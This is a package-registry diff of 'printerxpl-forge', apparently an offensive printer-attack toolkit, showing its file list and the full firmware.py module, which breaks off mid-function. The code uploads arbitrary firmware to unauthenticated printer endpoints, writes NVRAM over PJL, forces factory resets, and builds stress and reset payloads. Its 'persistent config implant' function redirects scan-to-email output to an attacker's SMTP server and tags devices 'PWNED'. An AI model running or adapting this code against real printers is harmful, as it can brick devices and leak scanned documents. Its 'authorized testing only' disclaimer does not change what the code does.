printerxpl-forge 6.2.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (97) hide show
  1. nse/README.md +204 -0
  2. nse/__init__.py +6 -0
  3. nse/install_nse.py +412 -0
  4. nse/lib/printerxpl.lua +238 -0
  5. nse/scripts/cups-info.nse +74 -0
  6. nse/scripts/cups-queue-info.nse +43 -0
  7. nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
  8. nse/scripts/http-device-mac.nse +107 -0
  9. nse/scripts/http-hp-ilo-info.nse +121 -0
  10. nse/scripts/http-info-xerox-enum.nse +101 -0
  11. nse/scripts/http-vuln-cve2022-1026.nse +158 -0
  12. nse/scripts/lexmark-config.nse +89 -0
  13. nse/scripts/pjl-ready-message.nse +106 -0
  14. nse/scripts/printer-banner.nse +217 -0
  15. nse/scripts/printer-cups-rce.nse +189 -0
  16. nse/scripts/printer-cve-detect.nse +279 -0
  17. nse/scripts/printer-discover.nse +205 -0
  18. nse/scripts/printer-firmware-exposed.nse +219 -0
  19. nse/scripts/printer-hp-pjl.nse +192 -0
  20. nse/scripts/printer-http-ews.nse +293 -0
  21. nse/scripts/printer-ipp-info.nse +235 -0
  22. nse/scripts/printer-lexmark-ipp.nse +203 -0
  23. nse/scripts/printer-passback.nse +204 -0
  24. nse/scripts/printer-pjl-info.nse +146 -0
  25. nse/scripts/printer-printnightmare.nse +211 -0
  26. nse/scripts/printer-snmp-info.nse +176 -0
  27. nse/scripts/printer-vuln-check.nse +256 -0
  28. nse/scripts/snmp-device-mac.nse +93 -0
  29. nse/scripts/snmp-info.nse +146 -0
  30. nse/scripts/snmp-sysdescr.nse +70 -0
  31. printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
  32. printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
  33. printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
  34. printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
  35. printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
  36. printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
  37. src/assets/fonts/gunplay.pfa +1671 -0
  38. src/assets/fonts/kshandwrt.pfa +315 -0
  39. src/assets/fonts/laksoner.pfa +2402 -0
  40. src/assets/fonts/paintcans.pfa +9699 -0
  41. src/assets/fonts/stencilod.pfa +4076 -0
  42. src/assets/fonts/takecover.pfa +26138 -0
  43. src/assets/fonts/topsecret.pfa +6652 -0
  44. src/assets/fonts/whoa.pfa +773 -0
  45. src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
  46. src/assets/mibs/Printer-MIB +4389 -0
  47. src/assets/mibs/README.md +9 -0
  48. src/assets/mibs/SNMPv2-MIB +854 -0
  49. src/assets/overlays/hacker.eps +596 -0
  50. src/assets/overlays/smiley.eps +214 -0
  51. src/assets/overlays/smiley2.eps +240 -0
  52. src/core/attack_orchestrator.py +1025 -0
  53. src/core/capabilities.py +323 -0
  54. src/core/destructive_audit.py +430 -0
  55. src/core/discovery.py +488 -0
  56. src/core/osdetect.py +74 -0
  57. src/core/poly_runner.py +579 -0
  58. src/core/printer.py +1426 -0
  59. src/main.py +2134 -0
  60. src/modules/install_printer.py +318 -0
  61. src/modules/login_bruteforce.py +852 -0
  62. src/modules/pcl.py +506 -0
  63. src/modules/pjl.py +3575 -0
  64. src/modules/print_job.py +1290 -0
  65. src/modules/ps.py +1102 -0
  66. src/payloads/__init__.py +98 -0
  67. src/payloads/assets/overlays/notice.eps +9 -0
  68. src/protocols/__init__.py +19 -0
  69. src/protocols/firmware.py +738 -0
  70. src/protocols/ipp.py +216 -0
  71. src/protocols/ipp_attacks.py +609 -0
  72. src/protocols/lpd.py +141 -0
  73. src/protocols/network_map.py +1004 -0
  74. src/protocols/raw.py +173 -0
  75. src/protocols/smb.py +359 -0
  76. src/protocols/ssrf_pivot.py +427 -0
  77. src/protocols/storage.py +587 -0
  78. src/ui/__init__.py +6 -0
  79. src/ui/interactive.py +742 -0
  80. src/ui/spinner.py +112 -0
  81. src/ui/tables.py +132 -0
  82. src/utils/banner_grabber.py +852 -0
  83. src/utils/codebook.py +456 -0
  84. src/utils/config.py +522 -0
  85. src/utils/cve_loader.py +158 -0
  86. src/utils/default_creds.py +134 -0
  87. src/utils/discovery_online.py +1327 -0
  88. src/utils/exploit_manager.py +805 -0
  89. src/utils/fuzzer.py +220 -0
  90. src/utils/helper.py +732 -0
  91. src/utils/local_printers.py +307 -0
  92. src/utils/ml_engine.py +491 -0
  93. src/utils/operators.py +474 -0
  94. src/utils/ports.py +234 -0
  95. src/utils/vuln_scanner.py +823 -0
  96. src/utils/wordlist_loader.py +412 -0
  97. src/version.py +36 -0
@@ -0,0 +1,738 @@
1
+ #!/usr/bin/env python3
2
+ # -*- coding: utf-8 -*-
3
+ """
4
+ PrinterXPL-Forge — Firmware & Payload Module
5
+ ==========================================
6
+ Operations targeting printer firmware, NVRAM, and embedded payloads:
7
+
8
+ A. Firmware version extraction and analysis
9
+ B. Firmware upload via web admin (vulnerability exploitation)
10
+ C. Custom print payload injection (ESC/P, PWGRaster, PostScript, PCL)
11
+ D. NVRAM / EEPROM read-write via PJL (for PJL-capable printers)
12
+ E. Factory reset (via PJL, web interface, or IPP)
13
+ F. Persistent config implant (via SNMP write or web form)
14
+ G. Malicious payload templates for supported languages
15
+
16
+ NOTE: All operations are implemented for authorized penetration testing only.
17
+ Firmware upload and NVRAM manipulation can brick a printer — use only
18
+ in isolated lab environments on explicitly authorized targets.
19
+ """
20
+
21
+ # Author : Andre Henrique (@mrhenrike)
22
+ # GitHub : https://github.com/mrhenrike
23
+ # LinkedIn : https://linkedin.com/in/mrhenrike
24
+ # X/Twitter : https://x.com/mrhenrike
25
+
26
+ from __future__ import annotations
27
+
28
+ import logging
29
+ import os
30
+ import re
31
+ import socket
32
+ import struct
33
+ import time
34
+ from pathlib import Path
35
+ from typing import Dict, List, Optional
36
+
37
+ import requests
38
+ import urllib3
39
+
40
+ urllib3.disable_warnings()
41
+
42
+ _log = logging.getLogger(__name__)
43
+
44
+
45
+ # ── A. Firmware version extraction ────────────────────────────────────────────
46
+
47
+ FIRMWARE_PATTERNS = [
48
+ # HTTP headers / body patterns
49
+ (r'[Ff]irmware[:\s]+([A-Za-z0-9._\-]{4,30})', 'header/body'),
50
+ (r'[Ff]W[:\s]+([A-Za-z0-9._\-]{4,30})', 'header/body'),
51
+ (r'[Vv]ersion[:\s]+([0-9]+\.[0-9]+[A-Za-z0-9._\-]{0,10})','header/body'),
52
+ # EPSON specific
53
+ (r'(?:Main|Sub)Version[:\s]*([A-Za-z0-9._\-]+)', 'epson'),
54
+ (r'ESC@\.2\s+([A-Z0-9.]+)', 'epson-raw'),
55
+ # HP
56
+ (r'FWVER[:\s]+([A-Z0-9.]+)', 'hp-pjl'),
57
+ (r'(?:HP|hp)\s+([0-9]{8})', 'hp-ver'),
58
+ # Generic
59
+ (r'build[:\s]+([A-Za-z0-9._\-]{4,20})', 'build'),
60
+ (r'release[:\s]+([A-Za-z0-9._\-]{4,20})', 'release'),
61
+ ]
62
+
63
+ FIRMWARE_WEB_PATHS = [
64
+ # Info pages
65
+ '/info', '/info.htm', '/info.html', '/status',
66
+ '/hp/device/info', '/hp/device/InternalPages/Index',
67
+ '/PRESENTATION/HTML/TOP/PRTINFO.HTML',
68
+ '/PRESENTATION/AIRPRINT/PRINTER_128.PNG', # EPSON — check headers
69
+ '/cgi-bin/info.cgi', '/cgi-bin/printer.cgi',
70
+ '/dev/info', '/sys/info',
71
+ '/webArch/getInfo.cgi', # Ricoh
72
+ '/xml/dev_status.xml',
73
+ '/DevMgmt/ProductUsagePage.xml', # HP
74
+ '/api/firmware/version',
75
+ ]
76
+
77
+ FIRMWARE_UPLOAD_PATHS = [
78
+ # HP
79
+ '/hp/device/firmware/upgrade',
80
+ '/hp/device/DevMgmt/FirmwareUpgrade',
81
+ '/webapps/hp/firmware',
82
+ # Brother
83
+ '/firmware',
84
+ '/cgi-bin/update.cgi',
85
+ # Kyocera
86
+ '/km/set.cmd?cmd=login',
87
+ # Generic
88
+ '/update', '/upgrade', '/firmware/upload',
89
+ '/admin/firmware', '/admin/upgrade',
90
+ '/cgi-bin/firmupdate.cgi',
91
+ ]
92
+
93
+
94
+ def get_firmware_version(
95
+ host: str, timeout: float = 8,
96
+ ) -> Dict[str, str]:
97
+ """
98
+ Extract firmware version from all available sources.
99
+
100
+ Returns dict with: version, source, raw_text, build_date.
101
+ """
102
+ result = {'version': '', 'source': '', 'raw_text': '', 'build_date': ''}
103
+
104
+ # 1. HTTP GET known info pages
105
+ for scheme in ('http', 'https'):
106
+ port = 443 if scheme == 'https' else 80
107
+ for path in FIRMWARE_WEB_PATHS:
108
+ try:
109
+ r = requests.get(
110
+ f'{scheme}://{host}:{port}{path}',
111
+ timeout=timeout, verify=False,
112
+ )
113
+ if r.status_code != 200:
114
+ continue
115
+ # Check response headers
116
+ server = r.headers.get('Server', '') + r.headers.get('X-Firmware', '')
117
+ for pat, src in FIRMWARE_PATTERNS:
118
+ m = re.search(pat, server + r.text, re.I)
119
+ if m:
120
+ result['version'] = m.group(1)
121
+ result['source'] = f'{scheme}:{path}'
122
+ result['raw_text'] = (server + r.text[:200]).strip()[:200]
123
+ return result
124
+ except Exception:
125
+ pass
126
+
127
+ # 2. IPP firmware-version attribute
128
+ try:
129
+ from protocols.ipp_attacks import get_printer_info, discover_endpoints
130
+ eps = discover_endpoints(host, timeout)
131
+ if eps:
132
+ ep = eps[0]
133
+ info = get_printer_info(host, ep['port'], ep['path'], ep['scheme'], timeout)
134
+ fw = info.get('printer-firmware-version', '')
135
+ if fw:
136
+ clean = re.sub(r'[|·\x00-\x1f\x7f-\xff]', '', fw).strip()
137
+ if clean:
138
+ result['version'] = clean
139
+ result['source'] = 'ipp'
140
+ return result
141
+ except Exception:
142
+ pass
143
+
144
+ # 3. SNMP hrSWRunName / prtInterpreter
145
+ try:
146
+ from pysnmp.hlapi import (
147
+ getCmd, CommunityData, UdpTransportTarget,
148
+ ContextData, ObjectType, ObjectIdentity, SnmpEngine,
149
+ )
150
+ import warnings
151
+ warnings.filterwarnings('ignore', category=RuntimeWarning)
152
+ from utils.ports import PortConfig as _PC
153
+ _snmp_port = _PC.resolve('snmp')
154
+
155
+ oids = [
156
+ '1.3.6.1.2.1.1.1.0', # sysDescr (often has firmware)
157
+ '1.3.6.1.2.1.43.5.1.1.16.1', # prtConsoleDisplayBufferText
158
+ '1.3.6.1.4.1.11.2.3.9.4.2.1.1.3.5.0', # HP: Firmware Revision
159
+ ]
160
+ engine = SnmpEngine()
161
+ for oid in oids:
162
+ for err_ind, err_stat, _, binds in getCmd(
163
+ engine,
164
+ CommunityData('public', mpModel=0),
165
+ UdpTransportTarget((host, _snmp_port), timeout=timeout, retries=0),
166
+ ContextData(),
167
+ ObjectType(ObjectIdentity(oid)),
168
+ ):
169
+ if not err_ind and not err_stat and binds:
170
+ val = str(binds[0][1])
171
+ for pat, src in FIRMWARE_PATTERNS:
172
+ m = re.search(pat, val, re.I)
173
+ if m:
174
+ result['version'] = m.group(1)
175
+ result['source'] = f'snmp:{oid}'
176
+ return result
177
+ except Exception:
178
+ pass
179
+
180
+ return result
181
+
182
+
183
+ # ── B. Firmware upload ────────────────────────────────────────────────────────
184
+
185
+ def check_firmware_upload(
186
+ host: str, timeout: float = 10, verbose: bool = True,
187
+ ) -> Dict:
188
+ """
189
+ Test whether the printer's web interface accepts unauthenticated
190
+ firmware upload requests.
191
+
192
+ Does NOT send actual firmware — sends a small dummy payload and
193
+ checks the HTTP response code. A 200 with 'success' or 'update'
194
+ in the body would confirm exploitability.
195
+
196
+ Returns dict with: path, vulnerable, status_code, evidence.
197
+ """
198
+ result = {
199
+ 'host': host,
200
+ 'vulnerable': False,
201
+ 'endpoint': None,
202
+ 'status_code': None,
203
+ 'auth_required': False,
204
+ 'evidence': '',
205
+ }
206
+
207
+ dummy_fw = b'\x00' * 256 + b'PRINTER_FW_TEST' # Not real firmware
208
+
209
+ for scheme in ('http', 'https'):
210
+ port = 443 if scheme == 'https' else 80
211
+ for path in FIRMWARE_UPLOAD_PATHS:
212
+ for method in ('POST', 'PUT'):
213
+ try:
214
+ func = requests.post if method == 'POST' else requests.put
215
+ r = func(
216
+ f'{scheme}://{host}:{port}{path}',
217
+ data=dummy_fw,
218
+ headers={'Content-Type': 'application/octet-stream'},
219
+ timeout=timeout, verify=False,
220
+ )
221
+ result['status_code'] = r.status_code
222
+ result['endpoint'] = f'{scheme}://{host}:{port}{path}'
223
+
224
+ if r.status_code == 401:
225
+ result['auth_required'] = True
226
+ continue
227
+
228
+ if r.status_code in (200, 201, 202, 204):
229
+ text = r.text.lower()
230
+ if any(w in text for w in ['success', 'updating', 'upload',
231
+ 'firmware', 'reboot', 'restart',
232
+ 'please wait']):
233
+ result['vulnerable'] = True
234
+ result['evidence'] = r.text[:200]
235
+ if verbose:
236
+ print(f" [FIRMWARE] \033[1;31m[VULN]\033[0m "
237
+ f"Unauthenticated firmware upload accepted at "
238
+ f"{result['endpoint']}")
239
+ return result
240
+
241
+ except Exception:
242
+ pass
243
+
244
+ return result
245
+
246
+
247
+ def upload_firmware(
248
+ host: str,
249
+ fw_path: str,
250
+ endpoint: str = None,
251
+ scheme: str = 'http',
252
+ port: int = 80,
253
+ username: str = '',
254
+ password: str = '',
255
+ timeout: float = 60,
256
+ verbose: bool = True,
257
+ ) -> bool:
258
+ """
259
+ Upload a firmware file to the printer.
260
+
261
+ WARNING: Uploading invalid firmware can permanently brick the printer.
262
+ Only use in authorized lab environments.
263
+
264
+ Args:
265
+ fw_path: Local path to the firmware file.
266
+ endpoint: Specific firmware upload URL (auto-detected if None).
267
+ """
268
+ if not os.path.exists(fw_path):
269
+ _log.error("Firmware file not found: %s", fw_path)
270
+ return False
271
+
272
+ if not endpoint:
273
+ probe = check_firmware_upload(host, verbose=verbose)
274
+ endpoint = probe.get('endpoint')
275
+ if not endpoint:
276
+ _log.error("No firmware upload endpoint found")
277
+ return False
278
+
279
+ with open(fw_path, 'rb') as fh:
280
+ data = fh.read()
281
+
282
+ if verbose:
283
+ print(f" [FIRMWARE] Uploading {os.path.basename(fw_path)} "
284
+ f"({len(data)} bytes) to {endpoint} ...")
285
+
286
+ try:
287
+ auth = (username, password) if username else None
288
+ r = requests.post(
289
+ endpoint, data=data,
290
+ headers={'Content-Type': 'application/octet-stream'},
291
+ auth=auth, timeout=timeout, verify=False,
292
+ )
293
+ if verbose:
294
+ print(f" [FIRMWARE] Response: {r.status_code} — {r.text[:100]}")
295
+ return r.status_code in (200, 201, 202, 204)
296
+ except Exception as exc:
297
+ _log.error("Firmware upload failed: %s", exc)
298
+ return False
299
+
300
+
301
+ # ── C. Custom payload injection ────────────────────────────────────────────────
302
+
303
+ def make_payload(
304
+ lang: str,
305
+ payload_type: str = 'info',
306
+ custom: str = '',
307
+ ) -> bytes:
308
+ """
309
+ Generate a language-specific printer payload.
310
+
311
+ Args:
312
+ lang: 'pjl', 'ps', 'pcl', 'escpr', 'pwgraster', 'pdf', 'lpd_raw'
313
+ payload_type: 'info' — print device information page
314
+ 'stress' — CPU/memory stress (print loop)
315
+ 'reset' — factory reset the printer
316
+ 'network' — print network configuration
317
+ 'custom' — use *custom* string as payload body
318
+ custom: Raw payload string for payload_type='custom'.
319
+
320
+ Returns:
321
+ Raw bytes ready to send to port 9100 (RAW), port 631 (IPP), or port 515 (LPD).
322
+ """
323
+ lang = lang.lower().strip()
324
+
325
+ if lang == 'pjl':
326
+ return _pjl_payload(payload_type, custom)
327
+ elif lang in ('ps', 'postscript'):
328
+ return _ps_payload(payload_type, custom)
329
+ elif lang in ('pcl', 'pcl5', 'pcl6'):
330
+ return _pcl_payload(payload_type, custom)
331
+ elif lang in ('escpr', 'escpl2', 'escpr1', 'esc/p', 'escp'):
332
+ return _escpr_payload(payload_type)
333
+ elif lang in ('pwgraster', 'pwg-raster'):
334
+ return _pwgraster_payload()
335
+ elif lang == 'lpd_raw':
336
+ return _lpd_raw_payload(payload_type, custom)
337
+ else:
338
+ return custom.encode('latin-1', errors='replace') if custom else b''
339
+
340
+
341
+ def _pjl_payload(kind: str, custom: str = '') -> bytes:
342
+ """Build a PJL payload."""
343
+ UEL = b'\x1b%-12345X'
344
+ if kind == 'info':
345
+ return (UEL + b'@PJL\r\n'
346
+ + b'@PJL INFO ID\r\n'
347
+ + b'@PJL INFO STATUS\r\n'
348
+ + b'@PJL INFO FILESYS\r\n'
349
+ + b'@PJL INFO PAGECOUNT\r\n'
350
+ + b'@PJL INFO VARIABLES\r\n'
351
+ + b'@PJL INFO USTATUS\r\n'
352
+ + UEL)
353
+ elif kind == 'network':
354
+ return (UEL + b'@PJL\r\n'
355
+ + b'@PJL INFO NETINFO\r\n'
356
+ + b'@PJL INFO IPADDRESS\r\n'
357
+ + UEL)
358
+ elif kind == 'reset':
359
+ return (UEL + b'@PJL\r\n'
360
+ + b'@PJL INITIALIZE\r\n' # warm reset
361
+ + UEL)
362
+ elif kind == 'stress':
363
+ return (UEL + b'@PJL\r\n'
364
+ + b'@PJL SET COPIES=9999\r\n'
365
+ + b'@PJL SET JOBATTR="@PJL"x65536\r\n' # OOM probe
366
+ + UEL)
367
+ elif kind == 'custom':
368
+ return UEL + custom.encode('latin-1', errors='replace') + UEL
369
+ return UEL + b'@PJL INFO ID\r\n' + UEL
370
+
371
+
372
+ def _ps_payload(kind: str, custom: str = '') -> bytes:
373
+ """Build a PostScript payload."""
374
+ if kind == 'info':
375
+ return (b'%!PS-Adobe-3.0\n'
376
+ b'/Helvetica findfont 12 scalefont setfont\n'
377
+ b'72 720 moveto\n'
378
+ b'statusdict begin\n'
379
+ b' product = pop\n'
380
+ b' version = pop\n'
381
+ b' revision = pop\n'
382
+ b'end\n'
383
+ b'showpage\n')
384
+ elif kind == 'custom':
385
+ return b'%!PS-Adobe-3.0\n' + custom.encode('latin-1', 'replace') + b'\nshowpage\n'
386
+ elif kind == 'reset':
387
+ return b'%!PS-Adobe-3.0\nstatusdict /initializedisk get exec\nshowpage\n'
388
+ elif kind == 'stress':
389
+ return (b'%!PS-Adobe-3.0\n'
390
+ b'/loop { 0 1 100000 { pop } for } def\n'
391
+ b'100 { loop } repeat\n'
392
+ b'showpage\n')
393
+ return b'%!PS-Adobe-3.0\nshowpage\n'
394
+
395
+
396
+ def _pcl_payload(kind: str, custom: str = '') -> bytes:
397
+ """Build a PCL 5 payload."""
398
+ RESET = b'\x1bE' # printer reset
399
+ if kind == 'info':
400
+ return RESET + b'\x1b&l0E' + b'\x1b(s0B' + b'PrinterXPL-Forge info\r\n' + b'\x0c' + RESET
401
+ elif kind == 'reset':
402
+ return RESET # ESC E — factory defaults
403
+ elif kind == 'custom':
404
+ return RESET + custom.encode('latin-1', 'replace') + b'\x0c' + RESET
405
+ return RESET + b'\x0c' + RESET
406
+
407
+
408
+ def _escpr_payload(kind: str = 'info') -> bytes:
409
+ """Build an ESC/P-R payload (EPSON inkjet)."""
410
+ ESC = b'\x1b'
411
+ payload = ESC + b'@' # initialize
412
+ payload += ESC + b'(G\x01\x00\x01' # select graphics mode
413
+ if kind == 'reset':
414
+ payload += ESC + b'@' # re-initialize (soft reset)
415
+ payload += b'\x0c' # form feed
416
+ return payload
417
+
418
+
419
+ def _pwgraster_payload() -> bytes:
420
+ """Build a minimal blank PWG-Raster page (for IPP job injection)."""
421
+ from protocols.ipp_attacks import _make_raster_page
422
+ return _make_raster_page()
423
+
424
+
425
+ def _lpd_raw_payload(kind: str, custom: str = '') -> bytes:
426
+ """Build a raw LPD data file payload."""
427
+ if kind == 'custom' and custom:
428
+ return custom.encode('latin-1', errors='replace')
429
+ # Default: blank page via form feed
430
+ return b'\x0c'
431
+
432
+
433
+ # ── D. NVRAM read/write via PJL ───────────────────────────────────────────────
434
+
435
+ def nvram_read(
436
+ host: str,
437
+ address: int = 0,
438
+ length: int = 256,
439
+ timeout: float = 10,
440
+ ) -> Optional[bytes]:
441
+ """
442
+ Read *length* bytes from printer NVRAM starting at *address* via PJL.
443
+
444
+ This is a well-known HP / generic PJL attack:
445
+ @PJL DMINFO ASCIIHEX BEGIN
446
+ @PJL DMCMD ASCIIHEX ...
447
+
448
+ Only works on PJL-capable printers (HP LaserJet, Kyocera, Brother, Xerox).
449
+ Returns raw bytes or None if the printer does not support this.
450
+ """
451
+ from utils.ports import PortConfig as _PC
452
+ _raw_port = _PC.resolve('raw')
453
+ UEL = b'\x1b%-12345X'
454
+ cmd = (UEL
455
+ + b'@PJL\r\n'
456
+ + f'@PJL DMINFO ASCIIHEX\r\n'.encode()
457
+ + f'@PJL DMCMD ASCIIHEX="0606000401"\r\n'.encode() # read NV store
458
+ + UEL)
459
+ try:
460
+ s = socket.create_connection((host, _raw_port), timeout=timeout)
461
+ s.settimeout(timeout)
462
+ s.sendall(cmd)
463
+ time.sleep(1.5)
464
+ data = b''
465
+ while True:
466
+ chunk = s.recv(4096)
467
+ if not chunk:
468
+ break
469
+ data += chunk
470
+ if len(data) > 65536:
471
+ break
472
+ s.close()
473
+ return data if data else None
474
+ except Exception as exc:
475
+ _log.debug("NVRAM read failed: %s", exc)
476
+ return None
477
+
478
+
479
+ def nvram_write(
480
+ host: str,
481
+ address: int,
482
+ value: bytes,
483
+ timeout: float = 10,
484
+ ) -> bool:
485
+ """
486
+ Write *value* bytes to NVRAM at *address* via PJL DMCMD.
487
+
488
+ WARNING: Incorrect NVRAM writes can permanently damage the printer.
489
+ Only use in lab environments on authorized targets.
490
+ """
491
+ from utils.ports import PortConfig as _PC
492
+ _raw_port = _PC.resolve('raw')
493
+ UEL = b'\x1b%-12345X'
494
+ hex_val = value.hex().upper()
495
+ cmd = (UEL
496
+ + b'@PJL\r\n'
497
+ + f'@PJL DMCMD ASCIIHEX="{hex_val}"\r\n'.encode()
498
+ + UEL)
499
+ try:
500
+ s = socket.create_connection((host, _raw_port), timeout=timeout)
501
+ s.sendall(cmd)
502
+ time.sleep(0.5)
503
+ s.close()
504
+ return True
505
+ except Exception as exc:
506
+ _log.debug("NVRAM write failed: %s", exc)
507
+ return False
508
+
509
+
510
+ # ── E. Factory reset ──────────────────────────────────────────────────────────
511
+
512
+ def factory_reset(
513
+ host: str,
514
+ timeout: float = 10,
515
+ method: str = 'pjl',
516
+ verbose: bool = True,
517
+ ) -> bool:
518
+ """
519
+ Attempt to trigger a factory reset on the printer.
520
+
521
+ Methods:
522
+ 'pjl' — send @PJL INITIALIZE to port 9100 (requires PJL support)
523
+ 'web' — POST to known factory reset endpoints
524
+ 'ipp' — send IPP Restart-Printer (op 0x003B) or Deactivate-Printer
525
+
526
+ Returns True if the command was accepted.
527
+ """
528
+ if verbose:
529
+ print(f" [FIRMWARE] Attempting factory reset via {method} on {host}")
530
+
531
+ if method == 'pjl':
532
+ from utils.ports import PortConfig as _PC
533
+ _raw_port = _PC.resolve('raw')
534
+ UEL = b'\x1b%-12345X'
535
+ payload = UEL + b'@PJL\r\n@PJL INITIALIZE\r\n' + UEL
536
+ try:
537
+ s = socket.create_connection((host, _raw_port), timeout=timeout)
538
+ s.sendall(payload)
539
+ s.close()
540
+ if verbose:
541
+ print(f" [FIRMWARE] PJL INITIALIZE sent")
542
+ return True
543
+ except Exception as exc:
544
+ _log.debug("PJL reset failed: %s", exc)
545
+
546
+ elif method == 'web':
547
+ reset_paths = [
548
+ ('/cgi-bin/restart.cgi', 'POST', {}),
549
+ ('/admin/restart', 'POST', {}),
550
+ ('/hp/device/restart', 'POST', {}),
551
+ ('/DevMgmt/restartDevice', 'POST', {}),
552
+ ('/startkm.htm', 'POST', {'func': 'factory', 'submit': '1'}),
553
+ ]
554
+ for scheme in ('http', 'https'):
555
+ port = 443 if scheme == 'https' else 80
556
+ for path, method_http, data in reset_paths:
557
+ try:
558
+ r = requests.post(
559
+ f'{scheme}://{host}:{port}{path}',
560
+ data=data, timeout=timeout, verify=False,
561
+ )
562
+ if r.status_code in (200, 204) and any(
563
+ w in r.text.lower() for w in ['restart', 'reset', 'reboot', 'ok']
564
+ ):
565
+ if verbose:
566
+ print(f" [FIRMWARE] Web reset accepted at {path}")
567
+ return True
568
+ except Exception:
569
+ pass
570
+
571
+ elif method == 'ipp':
572
+ try:
573
+ from protocols.ipp_attacks import discover_endpoints, _build_request, _post_ipp
574
+ eps = discover_endpoints(host, timeout)
575
+ if eps:
576
+ ep = eps[0]
577
+ uri = f"ipp://{host}{ep['path']}"
578
+ body = _build_request(0x003B, uri) # Restart-Printer
579
+ resp = _post_ipp(host, ep['port'], ep['path'], body,
580
+ scheme=ep['scheme'], timeout=timeout)
581
+ if resp:
582
+ status = struct.unpack('>H', resp[2:4])[0]
583
+ if status == 0x0000:
584
+ if verbose:
585
+ print(f" [FIRMWARE] IPP Restart-Printer accepted")
586
+ return True
587
+ except Exception as exc:
588
+ _log.debug("IPP reset: %s", exc)
589
+
590
+ return False
591
+
592
+
593
+ # ── F. Persistent config implant ──────────────────────────────────────────────
594
+
595
+ def implant_config(
596
+ host: str,
597
+ smtp_host: str = '',
598
+ smtp_email:str = '',
599
+ ntp_host: str = '',
600
+ dns_server:str = '',
601
+ snmp_community: str = '',
602
+ timeout: float = 10,
603
+ verbose: bool = True,
604
+ ) -> Dict[str, bool]:
605
+ """
606
+ Attempt to implant configuration changes that survive reboots.
607
+
608
+ Use cases:
609
+ - Redirect scan-to-email output to attacker SMTP
610
+ - Change NTP server to attacker-controlled host
611
+ - Change DNS server to intercept printer name resolution
612
+ - Set SNMP community to attacker-controlled string
613
+
614
+ These changes persist in printer NVRAM and survive power cycles.
615
+ Requires either: default/no credentials, or prior credential compromise.
616
+
617
+ Returns dict of {config_key: success}.
618
+ """
619
+ results: Dict[str, bool] = {}
620
+
621
+ # 1. SNMP SET — community strings and system info
622
+ if snmp_community or dns_server:
623
+ from protocols.storage import snmp_write
624
+ for oid, val, label in [
625
+ ('1.3.6.1.2.1.1.6.0', f'PWNED:{snmp_community}', 'sysLocation'),
626
+ ('1.3.6.1.2.1.1.4.0', 'pentest@safelabs.local', 'sysContact'),
627
+ ]:
628
+ if val:
629
+ ok = snmp_write(host, oid, val, community='private', timeout=timeout)
630
+ results[label] = ok
631
+ if verbose and ok:
632
+ print(f" [IMPLANT] SNMP {label} set to {val!r}")
633
+
634
+ # 2. Web form — SMTP / scan-to-email redirect
635
+ if smtp_host or smtp_email:
636
+ smtp_paths = [
637
+ ('/hp/device/config/smtpConfig', {'smtp_server': smtp_host, 'to': smtp_email}),
638
+ ('/admin/email', {'smtp': smtp_host, 'email': smtp_email}),
639
+ ('/cgi-bin/mail.cgi', {'mailserver': smtp_host, 'mailto': smtp_email}),
640
+ ]
641
+ for scheme in ('http', 'https'):
642
+ port = 443 if scheme == 'https' else 80
643
+ for path, data in smtp_paths:
644
+ try:
645
+ r = requests.post(
646
+ f'{scheme}://{host}:{port}{path}',
647
+ data=data, timeout=timeout, verify=False,
648
+ )
649
+ if r.status_code in (200, 204):
650
+ results['smtp_redirect'] = True
651
+ if verbose:
652
+ print(f" [IMPLANT] SMTP redirect set → {smtp_host}")
653
+ break
654
+ except Exception:
655
+ pass
656
+
657
+ return results
658
+
659
+
660
+ # ── G. Full firmware audit ─────────────────────────────────────────────────────
661
+
662
+ def firmware_audit(
663
+ host: str,
664
+ timeout: float = 10,
665
+ verbose: bool = True,
666
+ ) -> Dict:
667
+ """
668
+ Run a comprehensive firmware security audit.
669
+
670
+ Returns dict with firmware version, upload capability, NVRAM access,
671
+ reset capability, and payload language support.
672
+ """
673
+ result = {
674
+ 'host': host,
675
+ 'firmware_version': None,
676
+ 'upload_vulnerable': False,
677
+ 'upload_endpoint': None,
678
+ 'nvram_accessible': False,
679
+ 'reset_pjl': False,
680
+ 'reset_ipp': False,
681
+ 'payloads': [],
682
+ 'risk': [],
683
+ }
684
+
685
+ if verbose:
686
+ print(f"\n [FIRMWARE] Audit: {host}")
687
+
688
+ # Firmware version
689
+ fw = get_firmware_version(host, timeout)
690
+ result['firmware_version'] = fw
691
+ if fw['version']:
692
+ if verbose:
693
+ print(f" [FIRMWARE] Version: {fw['version']} (via {fw['source']})")
694
+
695
+ # Upload check
696
+ upload = check_firmware_upload(host, timeout, verbose)
697
+ result['upload_vulnerable'] = upload['vulnerable']
698
+ result['upload_endpoint'] = upload['endpoint']
699
+ if upload['vulnerable']:
700
+ result['risk'].append('FIRMWARE_UPLOAD_UNAUTHENTICATED')
701
+
702
+ # NVRAM read probe
703
+ nvram_data = nvram_read(host, timeout=timeout)
704
+ if nvram_data and len(nvram_data) > 10:
705
+ result['nvram_accessible'] = True
706
+ result['risk'].append('NVRAM_READABLE')
707
+ if verbose:
708
+ print(f" [FIRMWARE] NVRAM read: {len(nvram_data)} bytes returned")
709
+
710
+ # Reset capability (dry test — only PJL INFO, not actual reset)
711
+ try:
712
+ from utils.ports import PortConfig as _PC
713
+ _raw_port = _PC.resolve('raw')
714
+ UEL = b'\x1b%-12345X'
715
+ s = socket.create_connection((host, _raw_port), timeout=timeout)
716
+ s.sendall(UEL + b'@PJL INFO ID\r\n' + UEL)
717
+ time.sleep(0.5)
718
+ resp = s.recv(256)
719
+ s.close()
720
+ if resp:
721
+ result['reset_pjl'] = True
722
+ result['payloads'].append('pjl')
723
+ result['risk'].append('PJL_PORT_RESPONSIVE')
724
+ except Exception:
725
+ pass
726
+
727
+ # IPP availability
728
+ try:
729
+ from protocols.ipp_attacks import discover_endpoints
730
+ eps = discover_endpoints(host, timeout)
731
+ if eps and eps[0]['auth'] == 'none (anonymous OK)':
732
+ result['reset_ipp'] = True
733
